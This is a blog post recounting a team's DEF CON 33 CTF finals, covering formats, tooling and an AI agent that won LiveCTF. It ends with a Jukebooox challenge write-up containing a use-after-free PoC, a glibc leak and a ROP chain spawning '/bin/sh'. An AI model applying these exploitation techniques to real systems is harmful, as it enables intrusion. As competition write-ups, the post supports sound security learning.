Skip to main content
Back
2025-10-02 16 minute read
Competing at the DEF CON CTF Finals 2025

Competing at the DEF CON CTF Finals 2025

I had the honor of competing in this year's DEF CON CTF finals as a member of the Friendly Maltese Citizens. We ranked 8th out of 12, two places higher than last year. At this pace, we’ll be taking first place in just four years!

scoreboard
Figure 1: DEF CON CTF scoreboard

DEF CON CTF

DEF CON CTF is widely considered the most prestigious CTF and has been run annually dating back to 1996! The organizing team changes every few years. Most recently, the Nautilus Institute ran the last four editions and is now stepping down.

Jeopardy vs Attack/Defense (A/D) CTFs

CTFs usually come in two flavors: jeopardy and attack/defense (A/D).

Jeopardy CTFs offer standalone challenges in categories like binary exploitation, reverse engineering, web, and crypto. Each solved task earns points, and the team with the highest score wins.

A/D CTFs are more interactive: each team is given their own virtual machine hosting several vulnerable services. The objective of the CTF is twofold: attack services of the other teams to steal flags while defending your own by patching vulnerabilities without breaking functionality. At regular intervals (called ticks), the organizer’s infrastructure checks whether teams have successfully submitted stolen flags through a dedicated submission system. Afterwards, new flags are placed into every team’s services. Teams earn points in three ways: by capturing opponents’ flags, by defending their own services, and by keeping their services fully operational.

DEF CON CTF: Competition format

The DEF CON CTF is a two-part competition with a qualification round and a final. The qualifiers follow a jeopardy-style format, while the finals are primarily attack/defense. This year, twelve teams earned a spot in the finals.

What makes the DEF CON CTF finals unique is that, in addition to attack/defense, they also feature two additional competition types: King of the Hill and LiveCTF.

King of the Hill (KotH) KotH challenges are jeopardy-style tasks played in rounds that span several hours, where the objective is to develop the most effective solution for each round. Teams are ranked and scored based on how well their solution performs for a specific round. After every round, the challenge changes, forcing teams to adapt on the fly. For example, a KotH task might involve writing the shortest possible shellcode to read a flag, with each new round banning additional bytes, requiring teams to continually refine their approach.

LiveCTF LiveCTF is a thrilling competition format introduced at DEF CON 30 three years ago. It features 1v1 matches between one player of each team in a tournament-style bracket and is livestreamed and commented on YouTube. Challenges are from the usual jeopardy-style CTF categories and designed to be solvable by top CTF players roughly in under one hour. Each challenge’s category is known in advance, allowing teams to select the best player for the task.

DEF CON 33 CTF finals: Between exploits, villages, and the race against time

This was my second time competing in the DEF CON CTF finals on-site in Las Vegas. The first time, I spent nearly all my time playing the CTF and missed out on much of the conference, including workshops and talks. This year, I set out to balance things better, trying to enjoy both the conference and the CTF.

The CTF and conference run over a span of 2 1/2 days. The A/D CTF network is active only during the day, but teams can work on challenges overnight to develop new exploits and patch vulnerabilities. This year, the CTF ran from 10:00-17:00 on the first two days, and from 10:00-12:00 on the last day.

Each team had a dedicated table on the CTF floor with access to the game network where they could sit down and play. The CTF area felt a bit sparse and could be made more inviting for teams and spectators alike:

DEF CON CTF area
Figure 2: DEF CON CTF conference CTF area

As team sizes for the DEF CON CTF finals are usually quite large, most teams also arrange accommodation in Las Vegas to gather and play together. Friendly Maltese Citizens had organized a very nice suite in the Palazzo tower, as well as plenty of snacks and lunch for the duration of the CTF! This was the living room where people played most of the time:

DEF CON Hotel Living Room
Figure 3: Las Vegas Palazzo Tower Hotel Room

CTF tooling

When 30 or more people play a CTF together, good organization is essential, both on-site and online. As the game network is only accessible on-site, a VPN must be set up to enable remote participants to play the CTF.

As CTFs are a team competition, communication and efficient distribution of tasks is key. For communication, we use Discord, with a specific channel for each challenge. Furthermore, CTFNote, a collaborative tool specifically made for CTFs, is used to document ideas and share exploits for particular challenges.

Attack/Defense CTFs require specialized tooling, which can quickly become quite complex. Beyond exploit development, traffic analysis plays a central role. By monitoring inbound requests, teams can often observe and replay other competitors’ exploits as well as gain insights into vulnerabilities they haven’t yet discovered themselves.

For traffic analysis, we used tulip, a popular open-source tool built specifically for A/D competitions. It provides an intuitive interface for inspecting TCP traffic and supports custom filters to zero in on interesting requests. Had there been non-TCP traffic, we would have used arkime, a more advanced traffic analysis tool.

Below is a screenshot of our tulip dashboard that shows a TCP flow from the jukebooox challenge. On the right-hand side, tulip marked this flow with the FLAG_OUT label, indicating that an opposing team had successfully exfiltrated one of our flags.

Tulip Dashboard
Figure 4: Tulip dashboard

Furthermore, some of my teammates developed an exploitation automation script that orchestrates running our exploits against all teams every tick and automatically submit any captured flags. An open-source tool that provides similar functionality is ataka.

Many teams also have specialized tooling to obfuscate their traffic to make it harder for other teams to copy their exploits as well as tooling to modify their service patches in clever ways. In DEF CON A/D CTF, all teams’ patches are publicly available and can be copied, which has prompted some teams to insert backdoors into their patches to exploit opponents who apply them. Currently, Friendly Maltese Citizens lacks specialized tooling for such strategies. This is an area we need to develop in the coming years to compete with top teams.

Challenges

DEF CON CTF finals are known for being heavily focused on reverse engineering, and this year was no exception. A 3 MiB stripped Rust binary containing over 10 different challenges or the typical stripped C++ binary are just two examples. For those curious, the organizers have published the source code for most challenges on GitHub.

I spent most of my time on a challenge called Jukebooox, a virtual jukebox where the goal was to upload malicious songs that exploited listening devices. It was released in three stages.

For the first stage of Jukebooox, solving the challenge required knowledge of audio modulation. Since none of us were familiar enough with that area to develop an exploit quickly, we, like many other teams, simply replayed a working exploit we captured and collected flags that way.

The second stage was released 24 hours later and required heap exploitation. This was harder to copy directly, but after analyzing another team’s exploit and understanding the underlying logic, we managed to craft our own heap exploit and began successfully collecting flags. For a detailed write-up of the second stage of the Jukebooox challenge, please refer to the dedicated section below.

By the time the third stage was released, we were occupied with other challenges, so no one spent much time on it. According to the author’s description, this stage was a shellcoding challenge that required writing shellcode in a specific musical key.

Personal highlight of the CTF: When an autonomous agent stole the show

One of my personal highlights from this year’s CTF was the LiveCTF event, where team Blue Water, who ended up taking second place overall, won the LiveCTF tournament with the help of an autonomous agent running quietly in the background

Out of the five matches they played to secure the win, the agent independently solved three challenges.

At the start of each challenge, the Blue Water player would run the agent while also attempting to solve the challenge manually. This led to a hilarious situation where the player kept working on a challenge that the agent had already solved and submitted the flag for. Here’s the clip capturing the moment when both the casters and the team suddenly realize the agent had already solved the challenge, leaving the casters momentarily stunned and speechless.

Blue Water hasn’t shared many details about their setup so far. From rewatching the streams, the most I could gather is that their autonomous agent was based on Devin, an AI software engineer, and they appeared to be running around ten such agents in parallel in the background. I hope they publish a detailed blog post in the future explaining the full setup. For those curious, after winning the tournament, a member of Blue Water gave an interview where they briefly discussed the agent. You can watch it here.

Although some players felt that Blue Water’s approach bordered on cheating, it wasn’t against the rules. Personally, I’m excited to see how this shapes the future of LiveCTF, both in terms of format changes and the countermeasures challenge authors might introduce to limit the impact of such agents.

Jukebooox Laptooop: Detailed write-up

For the second stage of the Jukebooox challenge, we could interact with a Laptop device. When playing a song we uploaded to the Jukebox, the laptop device would record the output and store it. Following is a shortened output from the challenge when playing a WAV file:

Song details: 180444 samples, 90222Hz, 32-bit, 2 channels
Transmitting song data in chunks of 1024 samples (177 total chunks)...
[LAPTOOOP] Booting up...
[LAPTOOOP] Starting audio recording, 177 total chunks expected
Sent chunk 1/177: 1024/180444 samples (0.6%)
Sent chunk 2/177: 2048/180444 samples (1.1%)
Sent chunk 3/177: 3072/180444 samples (1.7%)
Sent chunk 4/177: 4096/180444 samples (2.3%)
Sent chunk 5/177: 5120/180444 samples (2.8%)
Sent chunk 6/177: 6144/180444 samples (3.4%)
Sent chunk 7/177: 7168/180444 samples (4.0%)
Sent chunk 8/177: 8192/180444 samples (4.5%)
Sent chunk 9/177: 9216/180444 samples (5.1%)

...

[LAPTOOOP] Completed audio recording, 177 chunks processed
Sent chunk 177/177: 180444/180444 samples (100.0%)
Finished sending all song data (180444 total samples)

All the logic for the laptop device is implemented in a library called laptooop.so. Loading the file into Binary Ninja, we can see that most of the functionality is implemented in the laptooop_process_audio function. The function takes in the WAV audio samples from our file and processes them in a way to simulate that they were recorded through a microphone. Afterwards, the adjusted samples are written to an HDD, which is also simulated. Through the menu of the laptop device, we are then able to read back the recorded audio file from the HDD:

Available devices:
(1) Echooo Device 0 - Off (2.48, 2.85)
  No filters
(2) Laptooop ThinkPad T420 - On (12.32, 12.64)
  No filters

=== jukebooox ===
1. List songs
2. Play song
3. Upload song
4. List devices
5. Toggle device
6. Adjust volume
7. Interact with device
8. Quit
Select option: $ 7
Enter device ID: $ 2

=== laptooop ===
1. Download recording
2. Clear recording
3. Quit
Select option: $ 1
[LAPTOOOP] Recording size: 108
RIFFd\x00\x00\x00WAVEfmt \x10\x00\x00\x00\x01\x00\x01\x00@\x1f\x00\x00\x00}\x00\x00\x04\x00 \x00data@\x00\x00\x00@\x81)K\xc4\xeb\x8fI\x1cJ\xf7G!\xe20Fi\xe7\xd0Da\xeb\xfcB\xe2\xe3\x9dA\xa79\xde?\xdc\xc3
U>V2\xe0<\xef\xa7Q;c\x9c\xf39\x88ov8\xf0\x87\x1e7g\x1e\x8b5\x9c\xea\x174[LAPTOOOP] Done sending recording

Vunerability

Looking at the functionality inside the laptooop_process_audio function, we pretty quickly realized that there is a Use-After-Free (UAF) vulnerability. Basically, if some specific condition is hit, the struct implementing the HDD functionality would be freed but we could still interact with the Laptop device afterwards:

Use-after-free vulnerability
Figure 5: Use-after-free vulnerability

At first we couldn’t reproduce the vulnerability, but after using a wav file captured from another team, we were able to trigger it.

After the CTF we learned that the intended way to trigger this vulnerability is related to resonance protection in HDDs. Basically, HDDs are sensitive to vibrations because they rely on extremely precise head positioning. Sudden movement can damage the drive or corrupt data. To protect HDDs from this risk, they use shock sensors to detect vibrations and safely park the read/write head. In a paper released in 2018, researchers found that specific acoustic waves can artificially trigger these sensors, rendering the drive unable to read or write to disk.

This is also what this part of the challenge was about. The value checked in the screenshot at offset 0x490 of the hdd struct, is the number of write failures the drive has encountered. To trigger the UAF that made exploitation possible, at least 16 write errors needed to occur. In my view, this was a pretty wild challenge. I can’t help but wonder if any team fully grasped the underlying logic, or if some simply brute-forced their way to a WAV file that happened to cause the required write errors.

Exploitation

Using the captured WAV file we can easily trigger the UAF and produce a crash with the following PoC:

io = start(argv, env=env)

toggle_device(2)

upload_song("b", "./data/p1.wav")

# trigger UAF
for i in range(0x10):
    play_song(1)

gdb.attach(io, gdbscript)

# overwrite freed HDD struct with user-controlled data
upload_song_raw("a", b"A"*0x400)

# trigger crash
play_song(1)

io.interactive()

Running the code and attaching gdb, we can see that the program segfaults because it tries to call a function at address 0x4141414141414141, so our user-controlled input of "A"s 🎉. The crash is caused by us overwriting a function pointer stored in the struct.

Segault PoC
Figure 6: Use-after-free vulnerability PoC

This is a great start, but not enough to solve the challenge. Our goal is to execute system("/bin/sh"), which will allow us to read the flag from the opposing team. To achieve this, we need to determine the address of the system function (found in glibc) and locate a ROP gadget that lets us control the rdi register, so we can pass it a pointer to the string /bin/sh.

Obtaining a glibc leak To calculate the address of the system function, we need to leak the runtime address of any symbol inside glibc. Because ASLR randomizes the base address of glibc each run, we cannot directly guess the address of system. Instead, once we have obtained any address from within glibc, we can use known offsets to compute the address of system.

To obtain a leak, the functionality of the Laptop device that allows us to read back recorded audio files seems promising. Looking at the functionality in Binary Ninja, we can see that reading from the disk is also implemented in a way that simulates reading data from different platters of a hard disk:

Binary Ninja
Figure 7: Binary Ninja analysis

We have full control over the hdd struct, so we can control both the platter pointers as well as the file_size member. How can we use this to leak a glibc address?

TL;DR The glibc heap keeps track of freed chunks in various so-called "bins" based on size and history in order to quickly find suitable chunks to satisfy allocation requests. All of these bins are implemented as linked lists and some of them contain pointers into the glibc library, which we can leak and use to calculate the address of system. For more information about the internals of the glibc heap, refer to this link.

Fortunately, the hdd struct we control is freed into the unsorted bin, which contains pointers into glibc. After we overwrite the hdd struct with our own data, it ends up being freed once more before the logic in laptooop_process_audio interacts with it. As a result, when running our PoC, the first bytes of the overwritten struct in memory appear as follows:

Figure 8: PoC output

The first two 8-byte values are pointers into glibc, belonging to the doubly linked list of the unsorted bin. We can verify this by inspecting the heap state with pwndbg's bins command:

Figure 9: PoC heap-state

Our chunk at address 0x5b479b011b40 is the sole entry in the unsorted bin’s doubly linked list, with both its forward and backward pointers referencing main_arena+96 in glibc. This setup is perfect for us because the glibc pointers will be interpreted by the program as pointers to the platter buffers when we try to read back the recorded file. As a result, we can read directly from glibc memory and leak an address we need. To obtain a leak we simply corrupt file_size and trigger the read back functionality.

Obtaining a shell Having obtained a glibc leak, the last hurdle is to somehow control the rdi register and set it to the address of the string /bin/sh. The easiest way to achieve this is to find a gadget which allows us to pivot into a ropchain that we can write into the UAFed chunk instead of "A"s. I will spare you the details, but we found a gadget that allowed us to pivot to our ROP chain, given that the RAX register contained an address close to data we control when the corrupted function pointer was called.

In the end, the ROP chain looked like this:

# 0x00000000000b157b : push rax ; add dword ptr [rbx + 0x41], ebx ; pop rsp ; pop r13 ; pop rbp ; jmp 0x28430
# gadget jumps to memcpy with size 0 so immediately returns
pivot_gadget = libc.address + 0x00000000000b157b
pop_rdi_ret = 0x000000000010f75b+libc.address

# padding
payload = p64(0x41)*0x2
# pop rdi; ret
payload += p64(pop_rdi_ret)
# address of string "/bin/sh"
payload += p64(next(libc.search("/bin/sh\x00")))
# address of system function inside glibc
payload += p64(libc.sym["system"])
# padding
payload = payload.ljust(0x108, p8(0x41))
# overwrite function pointer with our gadget
payload += p64(pivot_gadget)
#padding
payload = payload.ljust(0x400, p8(0x42))

Overall experience

Although DEF CON can be overwhelming with so much happening at once, playing in the CTF finals was once again an incredible experience. This time I even squeezed in a workshop at the Embedded Systems Village, where I tried fault injection on an STM32 chip using hextree.io’s Faultier framework, which was a lot of fun.

Overall, meeting my teammates from around the world, competing alongside the best CTF teams, and experiencing both the conference and Las Vegas made the trip unforgettable. A huge thanks to SRLabs for supporting me and making this possible!

DEF CON CTF team
Figure 10: Friendly Maltese Citizens CTF team

Security Research Labs is a member of the Allurity family. Learn More (opens in a new tab)